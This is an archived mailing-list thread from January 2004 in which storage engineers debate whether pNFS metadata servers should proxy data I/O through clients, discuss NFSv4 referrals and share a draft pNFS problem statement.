> On the other hand, others have suggested that any access >>or work that >>> > > a client can do out-of-band should be possible with one or more >>> > > commands applied to the metadata server's data path. >>This has been >>> > > proposed for coping with recalled delegations, including >>concurrent >>> > > writing by multiple clients; retry after client access errors, >>> > > provided adequate idempotency of out-of-band operations; >>and many >>> > > alternative implementations of out-of-band clients, >>including legacy >>> > > clients that use out-of-band never or rarely. >>> > > >>> > > I think this is a topic that should be argued one way or >>the other in >>> > > the requirements document. Use cases and examples in >>other systems >>> > > would be best. >>> > >>> >>> I guess that proxying through a client should be recomended but not >>> mandated. >>> We might the want to find how to do it while respecting >restrictions >>> removed the metadata server from the path. >> >>I think relying on clients to do anything correctly is against the >>inherent nature of NFS. Clients in NFS are transient and cannot be >>trusted to do anything correctly. Therefore, the metadata >>server should >>find its own way to write data to the data servers without relying on >>clients. If proxying through a client is optional, it still seems >>orthogonal to the behavior of existing installations and the spirit of >>NFS. Maybe there is a valid use case someone could describe? >> >>Dean >> >> >> >> >> >>Yahoo! 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Groups is subject to: http://docs.yahoo.com/info/terms/ >From julian_satran@il.ibm.com Wed Jan 21 17:58:27 2004 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 27962 invoked from network); 22 Jan 2004 01:58:20 -0000 Received: from unknown (66.218.66.218) by m13.grp.scd.yahoo.com with QMQP; 22 Jan 2004 01:58:20 -0000 Received: from unknown (HELO mtagate7.de.ibm.com) (195.212.29.156) by mta3.grp.scd.yahoo.com with SMTP; 22 Jan 2004 01:58:18 -0000 Received: from d12relay02.megacenter.de.ibm.com (d12relay02.megacenter.de.ibm.com [9.149.165.196]) by mtagate7.de.ibm.com (8.12.10/8.12.10) with ESMTP id i0M1uGRm080524; Thu, 22 Jan 2004 01:56:16 GMT Received: from d10ml001.telaviv.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12relay02.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0M1uFYk277030; Thu, 22 Jan 2004 02:56:15 +0100 In-Reply-To: To: pnfs-ops@yahoogroups.com Cc: pnfs-ops@yahoogroups.com, pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5 September 26, 2003 Message-ID: Date: Wed, 21 Jan 2004 17:56:11 -0800 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 6.0.2CF2|July 23, 2003) at 22/01/2004 03:56:15, Serialize complete at 22/01/2004 03:56:15 Content-Type: text/plain; charset=""US-ASCII"" X-eGroups-Remote-IP: 195.212.29.156 From: Julian Satran Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/0 3: subtopic: proxying X-Yahoo-Group-Post: member; u=64714603 X-Yahoo-Profile: julian_satran Dave, I assume that minor version can incorporate new function and new errors. I see the point related to your first objection (selective about moved) but we can work through it patiently. And it is nothing bad if for some FS data requests force that server to appear as moved for any client that ever uses a data request from the original metadata server. We will have then a metadata server + boxes that serve old NFSv4 clients only (and/or for specific Fss to which the the metadata server has no data access. Julo ""Noveck, Dave"" 21/01/2004 05:31 Please respond to pnfs-ops To , cc Subject RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/0 3: subtopic: proxying > Even ""simple"" NFSV4 clients support referrals (Moved). Unfortunately, the ""simple"" clients that actually exist today don't :-(, but I suppose we can assume that time will correct that problem. > So a metadata server may refer those requests to another server > that has access to data. But that's referral of an entire filesystem (everything sharing a given fsid value) to another nfsv4 server (i.e. a metadata server). You can't (in v4.0) refer requests for a single file or separately refer data IO requests and those that involve metadata. > The trouble I have is having to mandate this on all users or making an > ""optional to use"" feature and leave the ""ERROR-DATA-ACCESS-NOT > supported-here"" as a legal error (and that is the position I am taking). It can't be a legal error in v4.0. -----Original Message----- From: Julian Satran [mailto:julian_satran@il.ibm.com] Sent: Tuesday, January 20, 2004 7:54 PM To: pnfs-ops@yahoogroups.com Cc: pnfs-ops@yahoogroups.com; 'pnfs-reqs@yahoogroups.com' Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/0 3: subtopic: proxying Benny, Even ""simple"" NFSV4 clients support referrals (Moved). So a metadata server may refer those requests to another server that has access to data. The trouble I have is having to mandate this on all users or making an ""optional to use"" feature and leave the ""ERROR-DATA-ACCESS-NOT supported-here"" as a legal error (and that is the position I am taking). Julo ""Halevy, Benny"" 20/01/2004 08:00 Please respond to pnfs-ops To ""'pnfs-reqs@yahoogroups.com'"" , pnfs-ops@yahoogroups.com cc Subject RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/0 3: subtopic: proxying Dave, I completely agree with your assertions below. One more reason not to provide support in the NFS protocol for such servers is to guarantee interoperability with simple MFSv4.x clients that do not support out-of-band I/O or some optional extensions, e.g. write sharing (if we spec. it). Without the ability to read and write via the NFS server, sharing a file that's being written by one or more writers needs complete support for write sharing by all clients as well as the server. I suggest we mention this issue in the problem statement document and explain why we want to leave it open for the server implementation to solve and don't want to solve it within the NFS protocol. Benny >-----Original Message----- >From: Noveck, Dave [mailto:dnoveck@netapp.com] >Sent: Tuesday, January 20, 2004 6:19 AM >To: pnfs-ops@yahoogroups.com; pnfs-reqs@yahoogroups.com >Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >12/18/03: subtopic: proxying > > >You may be right about the origin of this but I did not suggest that >*NFS clients* take part when IO was done in this way. When >considering a situation in which there was no direct connection >between the meta-data server and the data server, I did note >that there was a large set of machines that had a connection to >both, making it possible/easy to provide a connection between >meta-data server and data server, albeit indirect. > >While it is true that that large class of machines can have NFS >clients running on them (and many will), I don't think it is a >good idea to place the burden of effecting this communication >(to help servers without a direct communications path) on the >clients. This is as opposed to a server using the same hardware >that a client would use to effect an indirect communication >path, which seems quite reasonable to me, but does not affect >the client-server protocol. > >In addition to the reasons that Dean cites for finding this >troublesome, let me add one more. Suppose we have IO from >a v4.0 client, necessitating access by the meta-data server >to the data server. If that function were imposed as a >requirement on v4.x clients, then how do you deal with the >case in which no v4.x clients are functioning? Previous V4 >minor versions should just work and making them dependent >on v4.x clients is not going to fly. The server has to >support v4.0 and can use the same hardware as clients and >much of the same software, but effecting the necessary >communication is part of the server's responsibility. > >-----Original Message----- >From: Halevy, Benny [mailto:bhalevy@panasas.com] >Sent: Monday, January 19, 2004 6:31 PM >To: 'pnfs-reqs@yahoogroups.com' >Cc: pNFS Operations >Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >12/18/03: subtopic: proxying > > >Dave Noveck wrote: >>At some point the phrase ""proxying through the client"" was used and I >>realize I don't know what is meant by it. It doesn't seem to match >>the ""proxying"" that was being discussed originally. How would the >>client be a proxy for (presumably) the server? What am I missing? > >I think it was you who suggested (maybe in a rhetorical way) that >when the metadata server is not capable of accessing the storage >it manages it should still be able to perform I/O using a client. >Maybe this created the ""proxying through the client"" idea... > >Benny > >>-----Original Message----- >>From: Noveck, Dave [mailto:dnoveck@netapp.com] >>Sent: Monday, January 19, 2004 6:23 PM >>To: pnfs-reqs@yahoogroups.com >>Cc: pNFS Operations >>Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >>12/18/03: subtopic: proxying >> >> >>Dean Hildebrand wrote: >>> I think relying on clients to do anything correctly is against the >>> inherent nature of NFS. Clients in NFS are transient and cannot be >>> trusted to do anything correctly. Therefore, the metadata >>server should >>> find its own way to write data to the data servers without >relying on >>> clients. If proxying through a client is optional, it still seems >>> orthogonal to the behavior of existing installations and the >>spirit of >>> NFS. Maybe there is a valid use case someone could describe? >> >>I'm now totally confused. Before we talk about use cases for >""proxying >>through a client"", I'd like to understand what it is. >> >>My understanding is that when this discussion started, a >>number of people >>were referring to a client writing data by sending a write to >the meta- >>data server (aka the NFS server) as ""proxying"", because, if >>your view is >>that the proper/best/ideal way of doing data transfer operations is to >>obtain mapping information and then do a write to the data >server (i.e. >>other NFS server or object data server or SAN-connected disk), then >>the direct NFS write can be seen as the meta-data server acting as the >>client's proxy. Is my understanding correct? >> >>No matter how you come down on the quesion of the >desirability of that, >>I don't think there any way to argue that doing a write by sending an >>NFS write request to an NFS server is against the inherent nature of >>NFS. Nor does it ask the client do anything correctly that it hasn't >>been doing all along. >> >>At some point the phrase ""proxying through the client"" was used and I >>realize I don't know what is meant by it. It doesn't seem to match >>the ""proxying"" that was being discussed originally. How would the >>client be a proxy for (presumably) the server? What am I missing? >> >>-----Original Message----- >>From: Dean Hildebrand [mailto:dhildebz@eecs.umich.edu] >>Sent: Monday, January 19, 2004 5:13 PM >>To: pNFS Requirements >>Cc: pNFS Operations >>Subject: Re: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >>12/18/03: subtopic: proxying >> >> >>> > [1.1.2 Functional proxying]: a file transformation >>achievable by an >>> > NFS-v4.x client using a set of data server operations must be a >>> > equivalently achievable using a (probably different) set >>of NFS-v4.x >>> > server operations >>> > >>> > This is the topic I intended to address in the last email. >> I believe >>> > Dave is arguing that even with metadata servers that do >>not have access >>> > to their data servers, the vendor of such a metadata server can >>> > construct a proprietary protocol for the metadata server >>to (strict) >>> > proxy data server accesses through clients that do have >>data server >>> > access. I am not comfortable making up a counter to this, >>so I exhort >>> > those that want a metadata server without data server >>access to speak >>> > up if they disagree. >>> > >>> > > On one hand, some suggest that a set of out-of-band >>clients should not >>> >>> > > have to also have a data path through the NFSv4 metadata >>server. One >>> > > reason is that customers may not tolerate the large >>variability in >>> > > performance between out-of-band (when the going is good) >>and in-band >>> > > (when the server chooses not to grant or to take away a >>delegation) >>> > > accesses. Another reason, and I paraphrase someone else >>here, is that >>> >>> > > it is possible to construct out-of-band metadata servers >>that do not >>> > > have access to the data servers except through the clients -- I >>> > > encourage the source of this scenario to replace my >>paraphrasing with >>> > > a correct use case, because I find it odd to design for >>file servers >>> > > that do not have access to the data servers. >>> > > >>> > > On the other hand, others have suggested that any access >>or work that >>> > > a client can do out-of-band should be possible with one or more >>> > > commands applied to the metadata server's data path. >>This has been >>> > > proposed for coping with recalled delegations, including >>concurrent >>> > > writing by multiple clients; retry after client access errors, >>> > > provided adequate idempotency of out-of-band operations; >>and many >>> > > alternative implementations of out-of-band clients, >>including legacy >>> > > clients that use out-of-band never or rarely. >>> > > >>> > > I think this is a topic that should be argued one way or >>the other in >>> > > the requirements document. Use cases and examples in >>other systems >>> > > would be best. >>> > >>> >>> I guess that proxying through a client should be recomended but not >>> mandated. >>> We might the want to find how to do it while respecting >restrictions >>> removed the metadata server from the path. >> >>I think relying on clients to do anything correctly is against the >>inherent nature of NFS. Clients in NFS are transient and cannot be >>trusted to do anything correctly. Therefore, the metadata >>server should >>find its own way to write data to the data servers without relying on >>clients. If proxying through a client is optional, it still seems >>orthogonal to the behavior of existing installations and the spirit of >>NFS. Maybe there is a valid use case someone could describe? >> >>Dean >> >> >> >> >> >>Yahoo! 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File : /draft-ietf-pNFS-problem-statement-v2.doc Uploaded by : garth_a_gibson Description : v0.2 of pNFS problem statement You can access this file at the URL http://groups.yahoo.com/group/pnfs-reqs/files/draft-ietf-pNFS-problem-statement-v2.doc To learn more about file sharing for your group, please visit http://help.yahoo.com/help/us/groups/files Regards, garth_a_gibson >From garth@panasas.com Thu Jan 22 04:38:24 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 19877 invoked from network); 22 Jan 2004 12:38:23 -0000 Received: from unknown (66.218.66.218) by m17.grp.scd.yahoo.com with QMQP; 22 Jan 2004 12:38:23 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta3.grp.scd.yahoo.com with SMTP; 22 Jan 2004 12:38:23 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSYLFGA; Thu, 22 Jan 2004 07:38:16 -0500 Mime-Version: 1.0 (Apple Message framework v609) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: pnfs-reqs@yahoogroups.com Date: Thu, 22 Jan 2004 04:38:13 -0800 X-Mailer: Apple Mail (2.609) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: uploaded a draft of a pNFS problem statement X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Based on the feedback in the last two concalls, I have taken a shot at a pNFS problem statement. The notion of a bottleneck, driven by the dramatic increase in bandwidth demand coming from clusters, and the desire to continue to allow filesystems and namespaces to be big and not specialized to data distribution, are central. I didn't do any work in the application space sections -- and I have not put in any citations yet -- sorry. Tom was right -- even with this thin version it comes out at 8 pages. I am happy to take comments and produce revisions, or to turn over the document to anyone who wants to make a pass through it. Talk to you in a couple of hours at the 11-12 EST concall. garth >From Thomas.Talpey@netapp.com Thu Jan 22 05:09:26 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 70873 invoked from network); 22 Jan 2004 13:09:25 -0000 Received: from unknown (66.218.66.172) by m10.grp.scd.yahoo.com with QMQP; 22 Jan 2004 13:09:25 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta4.grp.scd.yahoo.com with SMTP; 22 Jan 2004 13:09:25 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i0MD9PKw022756; Thu, 22 Jan 2004 05:09:25 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i0MD9PSR024389; Thu, 22 Jan 2004 05:09:25 -0800 (PST) Received: from tmt.netapp.com ([10.97.1.30]) by silver.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.5329); Thu, 22 Jan 2004 08:09:19 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C3E0E8.F1C8A980"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message Date: Thu, 22 Jan 2004 05:09:07 -0800 Message-ID: <5.2.1.1.2.20040122080409.00c246d0@silver.nane.netapp.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/0 3: subtopic: proxying Thread-Index: AcPg6PIwOdtHwUfvTAO5uqZggOHrXg== To: Cc: , X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/0 3: subtopic: proxying X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu At 07:54 PM 1/20/2004, Julian Satran wrote: >Benny, > >Even ""simple"" NFSV4 clients support referrals (Moved). So a metadata >server may refer those requests to another server that has access to data. Dave Noveck already pointed out that in fact most clients don't yet support this, and that the referral is for a filesystem not a file. But even apart form that, why wouldn't the referral happen the other way? That is, why wouldn't a client connect to an NFSv4 server, the two would determine that data bypass is desired and supported, and the server would redirect the client to the metadata server? This is a much cleaner and simpler upward migration story, and doesn't break NFSv4. In any case, I still argue that this kind of interaction should not be explored in the requirements document, except to point out that it's a requirement to support ""stock"" NFSv4 without client modifications. Tom. >The trouble I have is having to mandate this on all users or making an >""optional to use"" feature and leave the ""ERROR-DATA-ACCESS-NOT >supported-here"" as a legal error (and that is the position I am taking). > >Julo > > > > > >""Halevy, Benny"" >20/01/2004 08:00 >Please respond to >pnfs-ops > > >To >""'pnfs-reqs@yahoogroups.com'"" , >pnfs-ops@yahoogroups.com >cc > >Subject >RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/0 3: >subtopic: proxying > > > > > > >Dave, I completely agree with your assertions below. >One more reason not to provide support in the NFS protocol >for such servers is to guarantee interoperability with simple >MFSv4.x clients that do not support out-of-band I/O or >some optional extensions, e.g. write sharing (if we spec. >it). Without the ability to read and write via the NFS >server, sharing a file that's being written by one or more >writers needs complete support for write sharing by all >clients as well as the server. > >I suggest we mention this issue in the problem statement >document and explain why we want to leave it open for the >server implementation to solve and don't want to solve >it within the NFS protocol. > >Benny > >>-----Original Message----- >>From: Noveck, Dave [mailto:dnoveck@netapp.com] >>Sent: Tuesday, January 20, 2004 6:19 AM >>To: pnfs-ops@yahoogroups.com; pnfs-reqs@yahoogroups.com >>Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >>12/18/03: subtopic: proxying >> >> >>You may be right about the origin of this but I did not suggest that >>*NFS clients* take part when IO was done in this way. When >>considering a situation in which there was no direct connection >>between the meta-data server and the data server, I did note >>that there was a large set of machines that had a connection to >>both, making it possible/easy to provide a connection between >>meta-data server and data server, albeit indirect. >> >>While it is true that that large class of machines can have NFS >>clients running on them (and many will), I don't think it is a >>good idea to place the burden of effecting this communication >>(to help servers without a direct communications path) on the >>clients. This is as opposed to a server using the same hardware >>that a client would use to effect an indirect communication >>path, which seems quite reasonable to me, but does not affect >>the client-server protocol. >> >>In addition to the reasons that Dean cites for finding this >>troublesome, let me add one more. Suppose we have IO from >>a v4.0 client, necessitating access by the meta-data server >>to the data server. If that function were imposed as a >>requirement on v4.x clients, then how do you deal with the >>case in which no v4.x clients are functioning? Previous V4 >>minor versions should just work and making them dependent >>on v4.x clients is not going to fly. The server has to >>support v4.0 and can use the same hardware as clients and >>much of the same software, but effecting the necessary >>communication is part of the server's responsibility. >> >>-----Original Message----- >>From: Halevy, Benny [mailto:bhalevy@panasas.com] >>Sent: Monday, January 19, 2004 6:31 PM >>To: 'pnfs-reqs@yahoogroups.com' >>Cc: pNFS Operations >>Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >>12/18/03: subtopic: proxying >> >> >>Dave Noveck wrote: >>>At some point the phrase ""proxying through the client"" was used and I >>>realize I don't know what is meant by it. It doesn't seem to match >>>the ""proxying"" that was being discussed originally. How would the >>>client be a proxy for (presumably) the server? What am I missing? >> >>I think it was you who suggested (maybe in a rhetorical way) that >>when the metadata server is not capable of accessing the storage >>it manages it should still be able to perform I/O using a client. >>Maybe this created the ""proxying through the client"" idea... >> >>Benny >> >>>-----Original Message----- >>>From: Noveck, Dave [mailto:dnoveck@netapp.com] >>>Sent: Monday, January 19, 2004 6:23 PM >>>To: pnfs-reqs@yahoogroups.com >>>Cc: pNFS Operations >>>Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >>>12/18/03: subtopic: proxying >>> >>> >>>Dean Hildebrand wrote: >>>> I think relying on clients to do anything correctly is against the >>>> inherent nature of NFS. Clients in NFS are transient and cannot be >>>> trusted to do anything correctly. Therefore, the metadata >>>server should >>>> find its own way to write data to the data servers without >>relying on >>>> clients. If proxying through a client is optional, it still seems >>>> orthogonal to the behavior of existing installations and the >>>spirit of >>>> NFS. Maybe there is a valid use case someone could describe? >>> >>>I'm now totally confused. Before we talk about use cases for >>""proxying >>>through a client"", I'd like to understand what it is. >>> >>>My understanding is that when this discussion started, a >>>number of people >>>were referring to a client writing data by sending a write to >>the meta- >>>data server (aka the NFS server) as ""proxying"", because, if >>>your view is >>>that the proper/best/ideal way of doing data transfer operations is to >>>obtain mapping information and then do a write to the data >>server (i.e. >>>other NFS server or object data server or SAN-connected disk), then >>>the direct NFS write can be seen as the meta-data server acting as the >>>client's proxy. Is my understanding correct? >>> >>>No matter how you come down on the quesion of the >>desirability of that, >>>I don't think there any way to argue that doing a write by sending an >>>NFS write request to an NFS server is against the inherent nature of >>>NFS. Nor does it ask the client do anything correctly that it hasn't >>>been doing all along. >>> >>>At some point the phrase ""proxying through the client"" was used and I >>>realize I don't know what is meant by it. It doesn't seem to match >>>the ""proxying"" that was being discussed originally. How would the >>>client be a proxy for (presumably) the server? What am I missing? >>> >>>-----Original Message----- >>>From: Dean Hildebrand [mailto:dhildebz@eecs.umich.edu] >>>Sent: Monday, January 19, 2004 5:13 PM >>>To: pNFS Requirements >>>Cc: pNFS Operations >>>Subject: Re: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >>>12/18/03: subtopic: proxying >>> >>> >>>> > [1.1.2 Functional proxying]: a file transformation >>>achievable by an >>>> > NFS-v4.x client using a set of data server operations must be a >>>> > equivalently achievable using a (probably different) set >>>of NFS-v4.x >>>> > server operations >>>> > >>>> > This is the topic I intended to address in the last email. >>> I believe >>>> > Dave is arguing that even with metadata servers that do >>>not have access >>>> > to their data servers, the vendor of such a metadata server can >>>> > construct a proprietary protocol for the metadata server >>>to (strict) >>>> > proxy data server accesses through clients that do have >>>data server >>>> > access. I am not comfortable making up a counter to this, >>>so I exhort >>>> > those that want a metadata server without data server >>>access to speak >>>> > up if they disagree. >>>> > >>>> > > On one hand, some suggest that a set of out-of-band >>>clients should not >>>> >>>> > > have to also have a data path through the NFSv4 metadata >>>server. One >>>> > > reason is that customers may not tolerate the large >>>variability in >>>> > > performance between out-of-band (when the going is good) >>>and in-band >>>> > > (when the server chooses not to grant or to take away a >>>delegation) >>>> > > accesses. Another reason, and I paraphrase someone else >>>here, is that >>>> >>>> > > it is possible to construct out-of-band metadata servers >>>that do not >>>> > > have access to the data servers except through the clients -- I >>>> > > encourage the source of this scenario to replace my >>>paraphrasing with >>>> > > a correct use case, because I find it odd to design for >>>file servers >>>> > > that do not have access to the data servers. >>>> > > >>>> > > On the other hand, others have suggested that any access >>>or work that >>>> > > a client can do out-of-band should be possible with one or more >>>> > > commands applied to the metadata server's data path. >>>This has been >>>> > > proposed for coping with recalled delegations, including >>>concurrent >>>> > > writing by multiple clients; retry after client access errors, >>>> > > provided adequate idempotency of out-of-band operations; >>>and many >>>> > > alternative implementations of out-of-band clients, >>>including legacy >>>> > > clients that use out-of-band never or rarely. >>>> > > >>>> > > I think this is a topic that should be argued one way or >>>the other in >>>> > > the requirements document. Use cases and examples in >>>other systems >>>> > > would be best. >>>> > >>>> >>>> I guess that proxying through a client should be recomended but not >>>> mandated. >>>> We might the want to find how to do it while respecting >>restrictions >>>> removed the metadata server from the path. >>> >>>I think relying on clients to do anything correctly is against the >>>inherent nature of NFS. Clients in NFS are transient and cannot be >>>trusted to do anything correctly. Therefore, the metadata >>>server should >>>find its own way to write data to the data servers without relying on >>>clients. If proxying through a client is optional, it still seems >>>orthogonal to the behavior of existing installations and the spirit of >>>NFS. Maybe there is a valid use case someone could describe? >>> >>>Dean >>> >>> >>> >>> >>> >>>Yahoo! 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Groups is subject to: > http://docs.yahoo.com/info/terms/ >From ggrider@lanl.gov Thu Jan 22 07:41:17 2004 Return-Path: X-Sender: ggrider@lanl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 43525 invoked from network); 22 Jan 2004 15:41:10 -0000 Received: from unknown (66.218.66.172) by m9.grp.scd.yahoo.com with QMQP; 22 Jan 2004 15:41:10 -0000 Received: from unknown (HELO mailwasher-b.lanl.gov) (192.16.0.25) by mta4.grp.scd.yahoo.com with SMTP; 22 Jan 2004 15:41:12 -0000 Received: from mailrelay1.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i0MFfBdj019460 for ; Thu, 22 Jan 2004 08:41:12 -0700 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay1.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i0MFfB82003006 for ; Thu, 22 Jan 2004 08:41:11 -0700 Received: from cthulu.lanl.gov (cthulu.lanl.gov [128.165.115.129]) by cic-mail.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i0MFfAYi001296; Thu, 22 Jan 2004 08:41:10 -0700 Message-Id: <5.2.0.9.2.20040122084042.015476c8@cic-mail.lanl.gov> X-Sender: ggrider@cic-mail.lanl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Thu, 22 Jan 2004 08:41:36 -0700 To: pnfs-reqs@yahoogroups.com, pnfs-reqs@yahoogroups.com In-Reply-To: Mime-Version: 1.0 Content-Type: multipart/related; type=""multipart/alternative""; boundary=""=====================_349192==.REL"" X-Scanned-By: MIMEDefang 2.35 X-eGroups-Remote-IP: 192.16.0.25 From: Gary Grider Subject: Re: [pnfs-reqs] uploaded a draft of a pNFS problem statement X-Yahoo-Group-Post: member; u=169341185 X-Yahoo-Profile: ggriderpnfs I get This page is currently unavailable Unfortunately, we are unable to process your request at this time. We apologize for the inconvenience. Please try again later. when I tried http://groups.yahoo.com/group/pnfs-reqs/files/draft-ietf-pNFS-problem-statement-v2.doc Thanks Gary At 04:38 AM 1/22/2004 -0800, Garth Gibson wrote: > Based on the feedback in the last two concalls, I have taken a shot at > a pNFS problem statement. The notion of a bottleneck, driven by the > dramatic increase in bandwidth demand coming from clusters, and the > desire to continue to allow filesystems and namespaces to be big and > not specialized to data distribution, are central. I didn't do any > work in the application space sections -- and I have not put in any > citations yet -- sorry. Tom was right -- even with this thin version > it comes out at 8 pages. > > I am happy to take comments and produce revisions, or to turn over the > document to anyone who wants to make a pass through it. > > Talk to you in a couple of hours at the 11-12 EST concall. > > garth > > > Yahoo! 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Terms of Service. >From garth@panasas.com Thu Jan 22 07:51:59 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 37100 invoked from network); 22 Jan 2004 15:51:56 -0000 Received: from unknown (66.218.66.217) by m1.grp.scd.yahoo.com with QMQP; 22 Jan 2004 15:51:56 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta2.grp.scd.yahoo.com with SMTP; 22 Jan 2004 15:51:55 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSYLF8S; Thu, 22 Jan 2004 10:51:51 -0500 Mime-Version: 1.0 (Apple Message framework v609) In-Reply-To: <1074774565.645.17240.w2@yahoogroups.com> References: <1074774565.645.17240.w2@yahoogroups.com> Content-Type: multipart/mixed; boundary=Apple-Mail-9--157255413 Message-Id: Date: Thu, 22 Jan 2004 07:51:48 -0800 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.609) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: New file uploaded to pnfs-reqs X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson ADVERTISEMENT Clicking on the URL in this message worked for me. Clicking on the file in in the web browser view of the file list did not. So I'll send the file directly :-) On Jan 22, 2004, at 4:29 AM, Yahoo! Groups Notification wrote: > > Hello, > > This email message is a notification to let you know that > a file has been uploaded to the Files area of your pnfs-reqs > group. > > File : /draft-ietf-pNFS-problem-statement-v2.doc > Uploaded by : garth_a_gibson > Description : v0.2 of pNFS problem statement > > You can access the file at the URL > > http://groups.yahoo.com/group/pnfs-reqs/files/draft-ietf-pNFS-problem- > statement-v2.doc > > Your group is currently configured to send you email > notification whenever a member uploads a file. To turn off > notification, visit > > http://groups.yahoo.com/group/pnfs-reqs/join > > Thank you for choosing Yahoo! Groups as your email group > service for the pnfs-reqs group. > > Regards, > > Yahoo! Groups Customer Care > > Your use of Yahoo! Groups is subject to > http://docs.yahoo.com/info/terms/ Attachment (not stored) draft-ietf-pNFS-problem-statement-v2.doc Type: application/applefile Attachment (not stored) draft-ietf-pNFS-problem-statement-v2.doc Type: application/msword >From garth@panasas.com Thu Jan 22 08:31:29 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 64677 invoked from network); 22 Jan 2004 16:31:28 -0000 Received: from unknown (66.218.66.167) by m5.grp.scd.yahoo.com with QMQP; 22 Jan 2004 16:31:28 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 22 Jan 2004 16:31:28 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSYLGFS; Thu, 22 Jan 2004 11:31:27 -0500 Mime-Version: 1.0 (Apple Message framework v609) Content-Transfer-Encoding: 7bit Message-Id: <6B29A655-4CF8-11D8-B71A-000A95A94F04@panasas.com> Content-Type: text/plain; charset=US-ASCII; format=flowed To: pnfs-reqs@yahoogroups.com Date: Thu, 22 Jan 2004 08:31:24 -0800 X-Mailer: Apple Mail (2.609) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: problem statement feedback concall: Mon Jan 26 8am PST, 11am EST X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Peter Corbett is making a pass through the problem statement tomorrow and we are meeting again for further discussions Monday Jan 26 8am PST, 11am EST at the same conference call dialin numbers we have been using. I believe this time may be inconvenient for some and would be will to schedule other concalls next week, as needed. garth >From craigev@us.ibm.com Thu Jan 22 09:48:03 2004 Return-Path: X-Sender: craigev@us.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 10650 invoked from network); 22 Jan 2004 17:48:00 -0000 Received: from unknown (66.218.66.216) by m11.grp.scd.yahoo.com with QMQP; 22 Jan 2004 17:48:00 -0000 Received: from unknown (HELO e34.co.us.ibm.com) (32.97.110.132) by mta1.grp.scd.yahoo.com with SMTP; 22 Jan 2004 17:48:00 -0000 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com 